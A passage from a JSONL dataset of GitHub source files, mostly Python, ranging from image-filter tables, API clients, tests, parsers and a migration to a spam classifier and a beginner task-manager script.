},\n        {\n            'name': 'piecewise linear transform',\n            'function': piecewise_linear_transform,\n        },\n    ],\n    'convolution': [\n        {\n            'name': 'absurd filter',\n            'function': absurd_filter,\n        },\n        {\n            'name': 'sharpen filter',\n            'function': sharpen_filter,\n        },\n        {\n            'name': 'gaussian filter',\n            'function': gaussian_filter,\n        },\n        {\n            'name': 'mean filter',\n            'function': mean_filter,\n        },\n        {\n            'name': 'median filter',\n            'function': median_filter,\n        },\n        {\n            'name': 'laplacian filter',\n            'function': laplacian_filter,\n        },\n        {\n            'name': 'ordered range filter',\n            'function': ordered_range_filter,\n        },\n        {\n            'name': 'bilateral filter',\n            'function': bilateral_filter,\n        },\n        {\n            'name': 'sobel filter',\n            'function': sobel_filter,\n        },\n        {\n            'name': 'emboss filter',\n            'function': emboss_filter,\n        },\n        {\n            'name': 'edge filter',\n            'function': edge_filter,\n        },\n    ],\n    'histogram': [\n        {\n            'name': 'equalize image',\n            'function': equalize_img,\n        },\n        {\n            'name': 'equalize histogram rgb',\n            'function': equalize_hist_rgb,\n        },\n        {\n            'name': 'resize image scale',\n            'function': resize_img_scale,\n        },\n        {\n            'name': 'resize image',\n            'function': resize_img,\n        },\n    ],\n    'noise': [\n        {\n            'name': 'gaussian noise',\n            'function': gaussian_noise,\n        },\n        {\n            'name': 'salt noise',\n            'function': salt_noise,\n        },\n        {\n            'name': 'pepper noise',\n            'function': pepper_noise,\n        },\n        {\n            'name': 'salt pepper noise',\n            'function': salt_pepper_noise,\n        },\n        {\n            'name': 'speckle noise',\n            'function': speckle_noise,\n        },\n        {\n            'name': 'rayleigh noise',\n            'function': rayleigh_noise,\n        },\n        {\n            'name': 'laplace noise',\n            'function': laplace_noise,\n        },\n        {\n            'name': 'poisson noise',\n            'function': poisson_noise,\n        },\n        {\n            'name': 'uniform noise',\n            'function': uniform_noise,\n        },\n        {\n            'name': 'exponential noise',\n            'function': exponential_noise,\n        },\n    ],\n    'brush': [\n        {\n            'name': 'set text',\n            'function': lambda: print('set text'),\n        },\n        {\n            'name': 'draw',\n            'function': lambda: print('draw'),\n        },\n        {\n            'name': 'blur',\n            'function': lambda: print('blur'),\n        },\n        {\n            'name': 'something else...',\n            'function': lambda: print('something else...'),\n        },\n        {\n            'name': 'something else...',\n            'function': lambda: print('something else...'),\n        },\n    ],\n    'cube': [\n        {\n            'name': 'cube_1',\n            'function': None,\n        },\n        {\n            'name': 'cube_2',\n            'function': None,\n        },\n        {\n            'name': 'cube_3',\n            'function': None,\n        },\n        {\n            'name': 'cube_4',\n            'function': None,\n        },\n    ],\n    'graph': [\n        {\n            'name': 'graph_1',\n            'function': None,\n        },\n        {\n            'name': 'graph_2',\n            'function': None,\n        },\n        {\n            'name': 'graph_3',\n            'function': None,\n        },\n        {\n            'name': 'graph_4',\n            'function': None,\n        },\n    ],\n    'log': [\n        {\n            'name': 'log_1',\n            'function': None,\n        },\n        {\n            'name': 'log_2',\n            'function': None,\n        },\n        {\n            'name': 'log_3',\n            'function': None,\n        },\n        {\n            'name': 'log_4',\n            'function': None,\n        },\n    ],\n    'nucleus': [\n        {\n            'name': 'nucleus_1',\n            'function': None,\n        },\n        {\n            'name': 'nucleus_2',\n            'function': None,\n        },\n        {\n            'name': 'nucleus_3',\n            'function': None,\n        },\n        {\n            'name': 'nucleus_4',\n            'function': None,\n        },\n    ],\n    'cells': [\n        {\n            'name': 'cells_1',\n            'function': None,\n        },\n        {\n            'name': 'cells_2',\n            'function': None,\n        },\n        {\n            'name': 'cells_3',\n            'function': None,\n        },\n        {\n            'name': 'cells_4',\n            'function': None,\n        },\n    ],\n}\n\n","repo_name":"Yrrrrrf/image_alchemy","sub_path":"src/img_ops/ex_operations.py","file_name":"ex_operations.py","file_ext":"py","file_size_in_byte":6398,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"39259178290","text":"import os\nimport re\nimport requests\nfrom security_def import Security\n\n\nclass Shortcut:\n    \"\"\"Class providing interaction abilities to Shortcut via their API\"\"\"\n\n    SHORTCUT_BASE_URL = 'https://api.app.shortcut.com/api/v3'\n\n    def get_shortcut_story_title(self) -> str:\n        res = requests.get(\n            f'{self.SHORTCUT_BASE_URL}/stories/{Shortcut.get_story_number()}',\n            headers={\n                \"Content-Type\": \"application/json\",\n                \"Shortcut-Token\": Security().get_shortcut_token()\n            },\n            timeout=60,\n        )\n\n        if res.json()['name'] is None:\n            raise LookupError('The story name is not set')\n\n        return res.json()['name']\n\n    @staticmethod\n    def get_story_number() -> int | bool:\n        stream = os.popen(f'git -C {os.getcwd()} rev-parse --abbrev-ref HEAD')\n\n        matches = re.findall(r'\\d{5}', stream.read())\n\n        return matches[0] if len(matches) == 1 else False\n","repo_name":"RMEngels/shortcut-commit","sub_path":"shortcut_def.py","file_name":"shortcut_def.py","file_ext":"py","file_size_in_byte":957,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"31073847232","text":"# coding: utf-8\n\nfrom __future__ import absolute_import\nfrom datetime import date, datetime  # noqa: F401\n\nfrom typing import List, Dict  # noqa: F401\n\nfrom openapi_server.models.base_model_ import Model\nfrom openapi_server.models.one_ofstringarray import OneOfstringarray\nfrom openapi_server import util\n\nfrom openapi_server.models.one_ofstringarray import OneOfstringarray  # noqa: E501\n\nclass Node(Model):\n    \"\"\"NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).\n\n    Do not edit the class manually.\n    \"\"\"\n\n    def __init__(self, name=None, type=None):  # noqa: E501\n        \"\"\"Node - a model defined in OpenAPI\n\n        :param name: The name of this Node.  # noqa: E501\n        :type name: str\n        :param type: The type of this Node.  # noqa: E501\n        :type type: OneOfstringarray\n        \"\"\"\n        self.openapi_types = {\n            'name': str,\n            'type': OneOfstringarray\n        }\n\n        self.attribute_map = {\n            'name': 'name',\n            'type': 'type'\n        }\n\n        self._name = name\n        self._type = type\n\n    @classmethod\n    def from_dict(cls, dikt):\n        \"\"\"Returns the dict as a model\n\n        :param dikt: A dict.\n        :type: dict\n        :return: The Node of this Node.  # noqa: E501\n        :rtype: Node\n        \"\"\"\n        return util.deserialize_model(dikt, cls)\n\n    @property\n    def name(self):\n        \"\"\"Gets the name of this Node.\n\n        Formal name of the entity  # noqa: E501\n\n        :return: The name of this Node.\n        :rtype: str\n        \"\"\"\n        return self._name\n\n    @name.setter\n    def name(self, name):\n        \"\"\"Sets the name of this Node.\n\n        Formal name of the entity  # noqa: E501\n\n        :param name: The name of this Node.\n        :type name: str\n        \"\"\"\n\n        self._name = name\n\n    @property\n    def type(self):\n        \"\"\"Gets the type of this Node.\n\n\n        :return: The type of this Node.\n        :rtype: OneOfstringarray\n        \"\"\"\n        return self._type\n\n    @type.setter\n    def type(self, type):\n        \"\"\"Sets the type of this Node.\n\n\n        :param type: The type of this Node.\n        :type type: OneOfstringarray\n        \"\"\"\n\n        self._type = type\n","repo_name":"rtroper/openapi-gen-test","sub_path":"server/openapi_server/models/node.py","file_name":"node.py","file_ext":"py","file_size_in_byte":2227,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"20209507321","text":"stack = []\nanswer = []\nflag = True\nn = 1\nfor case in range(int(input())):\n    num = int(input())\n    while n <= num:\n        stack.append(n)\n        answer.append(\"+\")\n        n += 1\n\n    if stack[-1] == num:\n        stack.pop()\n        answer.append(\"-\")\n\n    else:\n        print(\"NO\")\n        flag = False\n        break\n\nif flag:\n    for i in answer:\n        print(i)\n","repo_name":"jongvvon/coding_test","sub_path":"ct/acmicpc/week2_data_structure/1874.py","file_name":"1874.py","file_ext":"py","file_size_in_byte":370,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"384659337","text":"import re\n\nclass RatingValue(object):\n    ratval_re = re.compile(r\"Rating name \\(version\\): (?P<name>.*?) \" \\\n                            r\"\\(v(?P<version>\\d+?)\\)\\n\" \\\n                            r\"Description: (?P<descr>.*?)\\n\" \\\n                            r\"Value: (?P<value>.*?)$\", \\\n                            flags=re.MULTILINE | re.DOTALL)\n\n    def __init__(self, name, version, description, value):\n        self.name = name\n        self.version = version\n        self.description = description\n        self.value = value\n        if self.value is None:\n            self.valuestr = \"%s\" % self.value\n        else:\n            self.valuestr = \"%.12g\" % self.value\n\n    def __str__(self):\n        text  = \"Rating name (version): %s (v%d)\\n\" % (self.name, self.version)\n        text += \"Description: %s\\n\" % self.description\n        text += \"Value: %s\" % self.valuestr\n        return text\n\n    def get_short_string(self):\n        return \"%s (v%d): %s\" % (self.name, self.version, self.valuestr)\n\n\ndef parse_string(string):\n    \"\"\"Parse a string for rating values and return a list\n        of RatingValue objects.\n\n        Input:\n            string: The string to parse.\n\n        Output:\n            ratvals: A list of RatingValue objects gleaned from the string.\n    \"\"\"\n    matches = RatingValue.ratval_re.finditer(string)\n    ratvals = []\n    for match in matches:\n        grps = match.groupdict()\n        if grps['value'] == \"None\":\n            value = None\n        else:\n            value = float(grps['value'])\n        ratvals.append(RatingValue(grps['name'], int(grps['version']), \\\n                                    grps['descr'], value))\n    return ratvals\n\n\ndef read_file(ratfilenm):\n    \"\"\"Read a rating file, and return the rating values parsed from it.\n    \n        Input:\n            ratfilenm: Name of the *.rat file.\n\n        Output:\n            ratvals: A list of RatingValue objects parsed from the file.\n    \"\"\"\n    f = open(ratfilenm, 'r')\n    contents = f.read()\n    f.close()\n    return parse_string(contents)\n","repo_name":"plazar/Ratings2.0","sub_path":"rating_value.py","file_name":"rating_value.py","file_ext":"py","file_size_in_byte":2037,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"16"}
+{"seq_id":"30692658093","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"Tests for the encrypted stream file system implementation.\"\"\"\n\nimport unittest\n\nfrom dfvfs.lib import definitions\nfrom dfvfs.path import factory as path_spec_factory\nfrom dfvfs.resolver import context\nfrom dfvfs.resolver import resolver\nfrom dfvfs.vfs import encrypted_stream_file_system\n\nfrom tests import test_lib as shared_test_lib\n\n\nclass EncryptedStreamFileSystemTest(shared_test_lib.BaseTestCase):\n  \"\"\"Tests the compressed stream file system.\"\"\"\n\n  _RC4_KEY = b'rc4test'\n\n  def setUp(self):\n    \"\"\"Sets up the needed objects used throughout the test.\"\"\"\n    self._resolver_context = context.Context()\n    test_path = self._GetTestFilePath(['syslog.rc4'])\n    self._SkipIfPathNotExists(test_path)\n\n    test_os_path_spec = path_spec_factory.Factory.NewPathSpec(\n        definitions.TYPE_INDICATOR_OS, location=test_path)\n    self._encrypted_stream_path_spec = path_spec_factory.Factory.NewPathSpec(\n        definitions.TYPE_INDICATOR_ENCRYPTED_STREAM,\n        encryption_method=definitions.ENCRYPTION_METHOD_RC4,\n        parent=test_os_path_spec)\n    resolver.Resolver.key_chain.SetCredential(\n        self._encrypted_stream_path_spec, 'key', self._RC4_KEY)\n\n  def tearDown(self):\n    \"\"\"Cleans up the needed objects used throughout the test.\"\"\"\n    self._resolver_context.Empty()\n\n  def testOpenAndClose(self):\n    \"\"\"Test the open and close functionality.\"\"\"\n    file_system = encrypted_stream_file_system.EncryptedStreamFileSystem(\n        self._resolver_context, self._encrypted_stream_path_spec)\n    self.assertIsNotNone(file_system)\n\n    file_system.Open()\n\n  def testFileEntryExistsByPathSpec(self):\n    \"\"\"Test the file entry exists by path specification functionality.\"\"\"\n    file_system = encrypted_stream_file_system.EncryptedStreamFileSystem(\n        self._resolver_context, self._encrypted_stream_path_spec)\n    self.assertIsNotNone(file_system)\n\n    file_system.Open()\n\n    self.assertTrue(file_system.FileEntryExistsByPathSpec(\n        self._encrypted_stream_path_spec))\n\n  def testGetFileEntryByPathSpec(self):\n    \"\"\"Tests the GetFileEntryByPathSpec function.\"\"\"\n    file_system = encrypted_stream_file_system.EncryptedStreamFileSystem(\n        self._resolver_context, self._encrypted_stream_path_spec)\n    self.assertIsNotNone(file_system)\n\n    file_system.Open()\n\n    file_entry = file_system.GetFileEntryByPathSpec(\n        self._encrypted_stream_path_spec)\n\n    self.assertIsNotNone(file_entry)\n    self.assertEqual(file_entry.name, '')\n\n  def testGetRootFileEntry(self):\n    \"\"\"Test the get root file entry functionality.\"\"\"\n    file_system = encrypted_stream_file_system.EncryptedStreamFileSystem(\n        self._resolver_context, self._encrypted_stream_path_spec)\n    self.assertIsNotNone(file_system)\n\n    file_system.Open()\n\n    file_entry = file_system.GetRootFileEntry()\n\n    self.assertIsNotNone(file_entry)\n    self.assertEqual(file_entry.name, '')\n\n\nif __name__ == '__main__':\n  unittest.main()\n","repo_name":"log2timeline/dfvfs","sub_path":"tests/vfs/encrypted_stream_file_system.py","file_name":"encrypted_stream_file_system.py","file_ext":"py","file_size_in_byte":2979,"program_lang":"python","lang":"en","doc_type":"code","stars":190,"dataset":"github-code","pt":"16"}
+{"seq_id":"20825081544","text":"class Solution:\n    def productExceptSelf(self, nums: List[int]) -> List[int]:\n        # Approach 1: O(N) / O(N) space\n        # N = len(nums)\n        # left = [1] * (N)\n        # prefix = 1\n        # for i in range(1, N):\n        #     left[i] = prefix * nums[i-1]\n        #     prefix = left[i]\n        # print(left)\n        # right = [1] * (N)\n        # suffix = 1\n        # for i in range(N-2, -1, -1):\n        #     right[i] = suffix * nums[i+1]\n        #     suffix = right[i]\n        # print(right)\n        # output = [1] * N\n        # for i in range(0, N):\n        #     output[i] = left[i] * right[i]\n        # return output\n        \n        # Approach 2: O(N) / O(1) space\n        N = len(nums)\n        output = [1] * N\n        \n        prefix = 1\n        for i in range(0, N):\n            output[i] = prefix\n            prefix *= nums[i]\n        \n        suffix = 1\n        for i in range(N-1, -1, -1):\n            output[i] *= suffix\n            suffix *= nums[i]\n            \n        return output","repo_name":"MatteoNunez22/LeetCode","sub_path":"0238-product-of-array-except-self/0238-product-of-array-except-self.py","file_name":"0238-product-of-array-except-self.py","file_ext":"py","file_size_in_byte":1010,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"26032362212","text":"\"\"\"empty message\n\nRevision ID: 760d2933d1ed\nRevises: d2cb19236048\nCreate Date: 2021-07-11 10:17:14.016682\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '760d2933d1ed'\ndown_revision = 'd2cb19236048'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.add_column('meeting', sa.Column('meeting_end', sa.Time(), nullable=True))\n    op.add_column('meeting', sa.Column('meeting_start', sa.Time(), nullable=True))\n    # ### end Alembic commands ###\n\n\ndef downgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.drop_column('meeting', 'meeting_start')\n    op.drop_column('meeting', 'meeting_end')\n    # ### end Alembic commands ###\n","repo_name":"nhlong1710/task_management_app","sub_path":"migrations/versions/760d2933d1ed_.py","file_name":"760d2933d1ed_.py","file_ext":"py","file_size_in_byte":791,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"914150962","text":"import sys, math\n\n# CodinGame planet is being attacked by slimy insectoid aliens.\n\n\n# game loop\nwhile 1:\n    enemy1 = input() # name of enemy 1\n    dist1 = int(input()) # distance to enemy 1\n    enemy2 = input() # name of enemy 2\n    dist2 = int(input()) # distance to enemy 2\n    \n    enemies = {enemy1:dist1,enemy2:dist2}\n    nearest = min(enemies,key=enemies.get)\n    \n    # Write an action using print\n    # To debug: print(\"Debug messages...\", file=sys.stderr)\n    print(enemies,file=sys.stderr)\n    \n    print(nearest) # replace with correct ship name\n","repo_name":"fst0pped/codingame-python","sub_path":"onboarding.py","file_name":"onboarding.py","file_ext":"py","file_size_in_byte":558,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"22417150163","text":"#!/usr/bin/env python3\n\"\"\"Convert a GFF annotation file into a simple mapping.\n\nUsage:\n    python me.py -i input.gff -t gene -o output.map\n\nNotes:\n    Following \"-t\" is the attribute tag to extract. Examples are \"gene\",\n    \"product\", \"eC_number\", \"locus_tag\", etc.\n\"\"\"\n\nimport sys\nimport argparse\n\n\ndef parse_args():\n    \"\"\"Command-line interface.\n    \"\"\"\n    parser = argparse.ArgumentParser(\n        formatter_class=argparse.RawDescriptionHelpFormatter)\n    arg = parser.add_argument\n    arg('-i', '--input', type=argparse.FileType('r'), default=sys.stdin,\n        help='input GFF file, default: stdin')\n    arg('-t', '--tag', type=str, required=True,\n        help='attribute tag to extract')\n    arg('-o', '--output', type=argparse.FileType('w'), default=sys.stdout,\n        help='output mapping file, default: stdout')\n    for arg in parser._actions:\n        arg.metavar = ''\n    if len(sys.argv) == 1:\n        print(__doc__)\n        parser.print_help()\n        sys.exit(1)\n    return parser.parse_args()\n\n\ndef main():\n    args = parse_args()\n    out = args.output\n    tag = args.tag\n    res = {}\n    for line in args.input:\n        line = line.rstrip('\\r\\n')\n        if line.startswith('#'):\n            continue\n        row = line.split('\\t')\n        try:\n            attrs = row[8]\n        except IndexError:\n            continue\n        tags = dict(x.split('=') for x in attrs.split(';'))\n        if tag in tags:\n            res.setdefault(row[0], []).append(tags[tag])\n    for seq, features in res.items():\n        print(seq, ','.join(features), sep='\\t', file=out)\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"qiyunlab/binarena","sub_path":"scripts/gff_to_features.py","file_name":"gff_to_features.py","file_ext":"py","file_size_in_byte":1616,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"16"}
+{"seq_id":"1939003209","text":"\"\"\"\nCreate An Inset Axes Without Plotting Twice\n===========================================\n\n:meth:`matplotview.inset_zoom_axes` can be utilized to create inset axes where we\ndon't have to plot the parent axes data twice.\n\"\"\"\n\nfrom matplotlib import cbook\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom matplotview import inset_zoom_axes\n\ndef get_demo_image():\n    z = cbook.get_sample_data(\"axes_grid/bivariate_normal.npy\", np_load=True)\n    # z is a numpy array of 15x15\n    return z, (-3, 4, -4, 3)\n\nfig, ax = plt.subplots()\n\n# Make the data...\nZ, extent = get_demo_image()\nZ2 = np.zeros((150, 150))\nny, nx = Z.shape\nZ2[30:30+ny, 30:30+nx] = Z\n\nax.imshow(Z2, extent=extent, interpolation='nearest', origin=\"lower\")\n\n# Creates an inset axes with automatic view of the parent axes...\naxins = inset_zoom_axes(ax, [0.5, 0.5, 0.47, 0.47])\n# Set limits to sub region of the original image\nx1, x2, y1, y2 = -1.5, -0.9, -2.5, -1.9\naxins.set_xlim(x1, x2)\naxins.set_ylim(y1, y2)\n\n# Remove the tick labels from the inset axes\naxins.set_xticklabels([])\naxins.set_yticklabels([])\n\n# Draw the indicator or zoom lines.\nax.indicate_inset_zoom(axins, edgecolor=\"black\")\n\nfig.show()","repo_name":"matplotlib/matplotview","sub_path":"examples/plot_02_simple_inset_view.py","file_name":"plot_02_simple_inset_view.py","file_ext":"py","file_size_in_byte":1176,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"16"}
+{"seq_id":"474828136","text":"#!/usr/bin/env python\n# -*- encoding: utf8 -*-\n\nimport tushare as ts\nimport pandas as pd\nimport numpy as np\n\nfrom saiutil import *\nfrom saidb   import *\nfrom saisql  import *\nfrom saicalc import *\nfrom sailog  import *\nfrom saimail import *\nfrom sairef  import *\n\n#######################################################################\n# lihua import from excel\n#######################################################################\n\ndef import_from_excel(_year, _file_name, _db):\n\n    log_info(\"\")\n\n    sheet_name = ''\n\n    for mon in range(12):\n        sheet_name = '%s-%s' % (_year, mon+1)\n        log_debug('sheet: %s', sheet_name)\n        import_from_excel_sheet(_file_name, sheet_name, _db)\n\n\n    return 0\n\n\ndef import_from_excel_sheet(_file_name, _sheet_name, _db):\n\n    log_info(\"\")\n\n\n    res_dir = '%s/project/res' % os.getenv('HOME')\n    log_debug(\"dir: [%s]\", res_dir)\n\n    file_path  = '%s/%s' % (res_dir, _file_name)\n    log_debug(\"path: [%s]\", file_path)\n\n    #sheet_name = '1975-1'\n\n    # df = pd.read_excel(file_path, index_col=None, header=None, sheet_name=sheet_name)\n    # df = pd.read_excel(file_path, index_col=0, sheet_name=[1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11])\n    df = pd.read_excel(file_path, index_col=0, sheet_name=_sheet_name)\n    log_debug(df)\n\n    date = ''\n    close_price = 0.0\n    deal_price  = 0.0\n    action      = ''\n    position    = ''\n\n    for idx, row in df.iterrows():\n        date = idx.date()\n        close_price = row['收盘价']\n        deal_price  = row['成交价']\n        action      = row['买卖']\n        position    = row['未平仓']\n\n        log_debug('[%s], [%s], [%s], [%s], [%s]', date, close_price, deal_price, action, position)\n\n        if np.isnan(close_price):\n            log_debug('[%s] is not in market3 [%s]', date, close_price)\n            continue\n\n        if np.isnan(deal_price):\n            log_debug('keep: [%s]', date)\n            sql = \"insert into tbl_lihua_day (pub_date, close_price) \"\\\n                    \"values ('%s', '%s')\" % (date, close_price)\n        else:\n            log_debug('deal: [%s]', date)\n            sql = \"insert into tbl_lihua_day (pub_date, close_price, deal_price, action, position) values \" \\\n                  \"('%s', '%s', '%s', '%s', '%s')\" % (date, close_price, deal_price, action, position)\n\n        log_debug('[%s]', sql)\n\n        rv = sql_to_db_nolog(sql, _db)\n        if rv != 0:\n            log_error(\"error: sql_to_db %s\", sql)\n\n    return 0\n\n\ndef work():\n    db = db_init()\n\n    year = '1975'\n    year = '1976'\n\n    file_name  = 'gs%s.xlsx' % (year)\n\n    import_from_excel(year, file_name, db)\n\n    db_end(db)\n\n\n#######################################################################\n\ndef main():\n    sailog_set(\"lihua_import.log\")\n\n    log_info(\"let's begin here!\")\n\n    work()\n\n    log_info(\"main ends, bye!\")\n    return\n\nmain()\n\n#######################################################################\n\n\n#\n","repo_name":"saibye/project","sub_path":"src/lihua/lihua.py","file_name":"lihua.py","file_ext":"py","file_size_in_byte":2921,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"32549855611","text":"#!/usr/bin/env python3\nimport gzip\nimport numpy as np\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom sklearn.naive_bayes import MultinomialNB\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import accuracy_score\n\n\ndef yoinkFile(url, frac):\n    with gzip.open(url) as f:\n        d = f.readlines()\n    return d[:int(frac * len(d))]\n\n\ndef spam_detection(random_state=0, fraction=1.0):\n    ham = yoinkFile(\"src/ham.txt.gz\", fraction)\n    spam = yoinkFile(\"src/spam.txt.gz\", fraction)\n    X = CountVectorizer().fit_transform(ham + spam).toarray()\n    y = np.concatenate([[0]*len(ham), [1]*len(spam)])\n    X_train, X_test, y_train, y_test = train_test_split(\n        X, y, random_state=random_state, train_size=.75)\n    clf = MultinomialNB()\n    clf.fit(X_train, y_train)\n    y_pred = clf.predict(X_test)\n    return accuracy_score(y_test, y_pred), len(X_test), (y_test != y_pred).sum()\n\n\ndef main():\n    accuracy, total, misclassified = spam_detection()\n    print(\"Accuracy score:\", accuracy)\n    print(f\"{misclassified} messages miclassified out of {total}\")\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"Hexexe/Da-Python-2020","sub_path":"part06-e04_spam_detection/src/spam_detection.py","file_name":"spam_detection.py","file_ext":"py","file_size_in_byte":1138,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"32908074654","text":"import datetime\n\n# Constants\nDATETIME_STRING_FORMAT = \"%Y-%m-%d\"\n\n# Function to register a new user\n\n\ndef register_user():\n    print(\"Register User\")\n    username = input(\"Enter a username: \")\n    password = input(\"Enter a password: \")\n\n    # Write user data to the user.txt file\n    with open(\"user.txt\", \"a\") as user_file:\n        user_file.write(f\"{username},{password}\\n\")\n\n    print(\"User registered successfully.\")\n\n# Function to login a user\n\n\ndef login_user():\n    print(\"Login\")\n    username = input(\"Enter your username: \")\n    password = input(\"Enter your password: \")\n\n    # Read user data from the user.txt file\n    with open(\"user.txt\", \"r\") as user_file:\n        user_data = user_file.read().split(\"\\n\")\n        user_data = [u for u in user_data if u != \"\"]\n\n    for user_entry in user_data:\n        saved_username, saved_password = user_entry.split(\",\")\n        if username == saved_username and password == saved_password:\n            print(\"Login successful.\")\n            return username\n\n    return None\n\n# Function to add a task\n\n\ndef add_task():\n    print(\"Add Task\")\n    username = input(\n        \"Enter the username of the person the task is assigned to: \")\n    task_title = input(\"Enter the task title: \")\n    task_description = input(\"Enter the task description: \")\n    due_date_str = input(\"Enter the due date (YYYY-MM-DD): \")\n\n    # Write task data to the tasks.txt file\n    with open(\"tasks.txt\", \"a\") as task_file:\n        task_file.write(\n            f\"{username};{task_title};{task_description};{due_date_str};No;No\\n\")\n\n    print(\"Task added successfully.\")\n\n# Function to view all tasks\n\n\ndef view_all_tasks():\n    print(\"All Tasks\")\n    with open(\"tasks.txt\", \"r\") as task_file:\n        task_data = task_file.read().split(\"\\n\")\n        task_data = [t for t in task_data if t != \"\"]\n\n    for task_entry in task_data:\n        username, task_title, task_description, due_date_str, completed, assigned = task_entry.split(\n            \";\")\n        print(f\"Assigned to: {username}\")\n        print(f\"Title: {task_title}\")\n        print(f\"Description: {task_description}\")\n        print(f\"Due Date: {due_date_str}\")\n        print(f\"Completed: {completed}\")\n        print(f\"Assigned: {assigned}\")\n        print(\"------------------------\")\n\n# Function to view tasks assigned to the logged-in user\n\n\ndef view_my_tasks(username):\n    print(\"My Tasks\")\n    with open(\"tasks.txt\", \"r\") as task_file:\n        task_data = task_file.read().split(\"\\n\")\n        task_data = [t for t in task_data if t != \"\"]\n\n    tasks_assigned_to_me = [\n        task_entry for task_entry in task_data if task_entry.startswith(username)]\n    if not tasks_assigned_to_me:\n        print(\"No tasks assigned to you.\")\n        return\n\n    for task_entry in tasks_assigned_to_me:\n        _, task_title, task_description, due_date_str, completed, assigned = task_entry.split(\n            \";\")\n        print(f\"Title: {task_title}\")\n        print(f\"Description: {task_description}\")\n        print(f\"Due Date: {due_date_str}\")\n        print(f\"Completed: {completed}\")\n        print(f\"Assigned: {assigned}\")\n        print(\"------------------------\")\n\n    # Prompt the user to select a task and perform actions\n    while True:\n        task_index = input(\n            \"Enter the index of the task you want to edit (or 'q' to quit): \")\n        if task_index.lower() == \"q\":\n            break\n        try:\n            task_index = int(task_index)\n            if task_index >= 0 and task_index < len(tasks_assigned_to_me):\n                selected_task = tasks_assigned_to_me[task_index]\n                _, task_title, task_description, due_date_str, completed, assigned = selected_task.split(\n                    \";\")\n                print(\"Selected Task:\")\n                print(f\"Title: {task_title}\")\n                print(f\"Description: {task_description}\")\n                print(f\"Due Date: {due_date_str}\")\n                print(f\"Completed: {completed}\")\n                print(f\"Assigned: {assigned}\")\n                action_choice = input(\n                    \"Enter 'c' to mark the task as complete or 'e' to edit the task: \")\n                if action_choice.lower() == \"c\":\n                    selected_task = selected_task.replace(\"No\", \"Yes\", 4)\n                    tasks_assigned_to_me[task_index] = selected_task\n                    print(\"Task marked as complete.\")\n                elif action_choice.lower() == \"e\":\n                    new_title = input(\n                        \"Enter a new task title (or leave blank to keep the same): \")\n                    if new_title != \"\":\n                        selected_task = selected_task.replace(\n                            task_title, new_title, 1)\n                    new_description = input(\n                        \"Enter a new task description (or leave blank to keep the same): \")\n                    if new_description != \"\":\n                        selected_task = selected_task.replace(\n                            task_description, new_description, 1)\n                    new_due_date_str = input(\n                        \"Enter a new due date (YYYY-MM-DD) (or leave blank to keep the same): \")\n                    if new_due_date_str != \"\":\n                        selected_task = selected_task.replace(\n                            due_date_str, new_due_date_str, 1)\n                    tasks_assigned_to_me[task_index] = selected_task\n                    print(\"Task updated successfully.\")\n                else:\n                    print(\"Invalid choice.\")\n            else:\n                print(\"Invalid task index.\")\n        except ValueError:\n            print(\"Invalid task index.\")\n\n    # Write the updated task data to the tasks.txt file\n    with open(\"tasks.txt\", \"w\") as task_file:\n        task_file.write(\"\\n\".join(task_data))\n\n# Function to generate reports\n\n\ndef generate_reports():\n    print(\"Generate Reports\")\n\n    # Read task data from the tasks.txt file\n    with open(\"tasks.txt\", \"r\") as task_file:\n        task_data = task_file.read().split(\"\\n\")\n        task_data = [t for t in task_data if t != \"\"]\n\n    # Calculate task statistics\n    total_tasks = len(task_data)\n    completed_tasks = sum(\n        [1 for task_entry in task_data if task_entry.split(\";\")[4] == \"Yes\"])\n    incomplete_tasks = total_tasks - completed_tasks\n    overdue_tasks = sum([1 for task_entry in task_data if task_entry.split(\n        \";\")[3] < datetime.datetime.now().strftime(DATETIME_STRING_FORMAT)])\n\n    # Write task report\n    with open(\"task_overview.txt\", \"w\") as task_report_file:\n        task_report_file.write(f\"Total tasks: {total_tasks}\\n\")\n        task_report_file.write(f\"Completed tasks: {completed_tasks}\\n\")\n        task_report_file.write(f\"Incomplete tasks: {incomplete_tasks}\\n\")\n        task_report_file.write(f\"Overdue tasks: {overdue_tasks}\\n\")\n\n    # Read user data from the user.txt file\n    with open(\"user.txt\", \"r\") as user_file:\n        user_data = user_file.read().split(\"\\n\")\n        user_data = [u for u in user_data if u != \"\"]\n\n    # Calculate user statistics\n    total_users = len(user_data)\n\n    # Write user report\n    with open(\"user_overview.txt\", \"w\") as user_report_file:\n        user_report_file.write(f\"Total users: {total_users}\\n\")\n\n    print(\"Reports generated successfully.\")\n\n# Function to display statistics\n\n\ndef display_statistics():\n    print(\"Display Statistics\")\n\n    # Read task report\n    with open(\"task_overview.txt\", \"r\") as task_report_file:\n        task_report = task_report_file.read()\n\n    # 